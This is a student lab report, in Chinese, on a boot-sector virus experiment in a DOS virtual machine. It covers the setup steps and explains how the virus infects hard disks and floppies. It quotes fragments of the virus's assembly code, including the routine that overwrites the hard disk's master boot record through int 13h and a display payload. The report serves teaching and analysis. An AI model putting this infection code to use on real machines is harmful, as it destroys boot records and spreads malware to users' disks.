东华大学计算机病毒实验一引导型病毒实验报告.docx
《东华大学计算机病毒实验一引导型病毒实验报告.docx》由会员分享,可在线阅读,更多相关《东华大学计算机病毒实验一引导型病毒实验报告.docx(30页珍藏版)》请在冰豆网上搜索。
东华大学计算机病毒实验一引导型病毒实验报告
实验一引导型病毒实验
1.实验目的
通过实验,了解引导区病毒的感染对象和感染特征,重点学习引导病毒的感染机制和恢复感染染毒文件的方法,提高汇编语言的使用能力。
2.实验内容
本实验需要完成的内容如下:
引导阶段病毒由软盘感染硬盘实验。
通过触发病毒,观察病毒发作的现象
和步骤,学习病毒的感染机制;阅读和分析病毒的代码。
DOS运行时病毒由硬盘感染软盘的实现。
通过触发病毒,观察病毒发作的现象和步骤,学习病毒的感染机制;阅读和分析病毒的代码。
3.实验环境
VMWareWorkstation5.5.3
MS-DOS7.10
4.实验步骤与结果
第一步:
1、打开VMwareWorkstation,新建虚拟机,过程如下:
然后点next,点NEXT,硬盘大小可自行分配,大概1G左右就ok,一直到完成为止。
第二步:
1.安装MYDOS
2.启动虚拟机电源,自动从虚拟软驱进入安装过程,一路点NEXT,AGREE到为虚拟机系统生成一块fat32的硬盘区,点击,然后reboot。
3.再次进入安装引导过程,一路点NEXT,AGREE到重写MBR选yes,而后选择安装目录C:
\dos71目录。
在选择DOScommandsonly安装。
并取消DOSadd-on的安装复选项。
然后一路点NEXT,AGREE。
选择enableumbmemory
在下一个页面里选择loadbothcd/dvd和IDE/ATAPI
第三步:
步骤如课本实验一
1.运行虚拟机,检查目前虚拟硬盘是否含有病毒。
2.将virus.img加入软驱,运行虚拟机:
3、删除虚拟软盘,通过硬盘引导
按任意键进入DOS系统
4、通过命令formatA:
/q快速格式化软盘。
5、软驱中加入empty.img引导。
如下:
5.病毒代码分析
i.传染模块主要代码及传染过程说明;
inccx;cx此时为1,为2
movds:
[si+offsetreg_cx],cx
movax,0301h;写入一个扇区
movdx,0080h;写入硬盘1的0面
int13h;开始写入
jbboot_dos;不成功转到boot_dos
movcl,21h;准备搬移33个字
movdi,01beh;从内存高端的03beh搬移到
movsi,03beh;内存高端的01beh,此处正是病毒程序的驻留区
repmovsw;开始搬移
movax,0301h;准备向硬盘写入一个扇区
xorbx,bx
inccx;cx置1
int13h;写入物理硬盘0面0道1扇区
callnearptrinstall;安装病毒的int13h
movdx,0080h;读硬盘0head
int13h;开始读取//***读取正常的引导扇区,以备安装病毒的int13h后正常启动
callnearptrinstall
传染过程说明:
先判断机器从哪里启动,如是从硬盘启动,直接安装病毒到int13h,通过int13h感染软盘。
读取软盘0面0道1扇区到病毒常驻段偏移地址为0200h,读取成功转read_succ处理,否则软驱复位。
读取操作次数减1,不为0再次读取,否则退出。
读取成功后,以vir_init处一个字的机器码为特征码进行比较,判断软盘是否已经染毒,如果未染毒,则进行传染。
若已染毒,则退出。
若是从软盘启动,需传染硬盘。
将读到的正常引导记录保存道0道2扇,写入一个扇区,再写入硬盘1的0面,写入不成功转到boot_dos,判断是否已被传染。
写入成功则准备替换引导扇区,保留硬盘分区表,准备搬移33个字,从内存高端的03beh搬移到内存高端的01beh,搬移后将cx置1,写入物理硬盘0面0道1扇区。
ii.表现模块的主要代码及现象说明;
waitstart:
loopwaitstart
callclearstr//显示空字符串,抹去刚画的笑脸符
movax,0100h
int16h
jznextloop
ret
;调用10h中断将字符串打印到屏幕上
dispstr:
movax,cs
moves,ax
movax,offsetbootmessage
movbp,ax;es:
bp=串地址
movcx,5;cx=串长度
movax,01301h;ah=13,al=01h
movbx,000ch;页号为0(bh=0)黑底红字(bl=0ch,高亮)
movdh,5
movdl,col
int10h;10h号中断
ret
;用空格清除上一次的输入
clearstr:
movax,cs
moves,ax
movax,offsetclearmessage
movbp,ax
movcx,5
movax,01301h
movbx,000ch
movdh,5
movdl,col
int10h
ret
现象:
黑屏幕上笑脸符自左自右反复显示,有动态效果。
iii.说明该病毒触发传染的条件;
病毒会将正常的引导记录存在:
硬盘,0面0道2扇区。
取出的地址如果不是0道2扇区则系统一定是从软盘启动,此时需要传染硬盘。
如果是0道2扇区则一定从硬盘启动,直接安装病毒到int13h,通过int13h感染软盘。
传染硬盘时,要先读硬盘0面0道1扇区得内容到病毒驻留区段并偏移512个字节,把读到的内容的第一个字取出与06ebh相比,判断是否已被传染。
如果比较结果相等,说明硬盘先前已传染,就不再次传染,直接调用子程序,安装病毒的int13h。
不相等,说明硬盘没有被传染,跳转到传染程序。
iv.说明病毒表现模块触发的条件。
开启电脑(或虚拟机),电脑(或虚拟机)开始引导启动时,因为正常的引导的位置已变为病毒程序,所以此时立刻运行病毒。
将病毒的程序码搬移到1k高地址区,置搬移数量及搬移目的地址的偏移地址(段地址es先前已放置),开始搬移256个字,也就是512个字节(一个扇区)。
再转到藏身区继续执行。
病毒程序将在1k的驻留地区继续执行,触发表现模块,程序即进入黑屏幕上自左至右反复显示笑脸符的主循环。
6.总结与心得
本次实验过程为先建立一个虚拟机,运行虚拟机,检查虚拟硬盘是否含有病毒。
然后将有毒软盘加入软驱,这时病毒寻找DOS引导区的位置,并将DOS引导区移到其它位置,将自己写入原DOS引导区的位置。
病毒占据物理位置并获得控制权(在启动虚拟机时获得)。
病毒引导程序运行后,病毒驻留内存,将控制权交给真正的引导区内容。
虚拟机运行,发现虚拟机已经染毒。
将染毒虚拟软盘删除,通过硬盘引导,病毒依然存在。
用formatA:
/q格式化硬盘A盘后,运行虚拟机,虚拟机依然有病毒。
通过此实验,我也算认识到引导病毒的强大,对引导病毒感染电脑的现象有了一定的了解。
以前没接触过虚拟机,看一些同学弄虚拟机感觉好高深,今天也终于有机会自己建了个虚拟机。
我还更清晰地知道了引导型病毒的生存循环。
不过,对引导病毒我还不是了解得很深入,此次实验后,我会多看看书,查些资料,有时间再到机房钻研一番。
希望能有更深入的了解。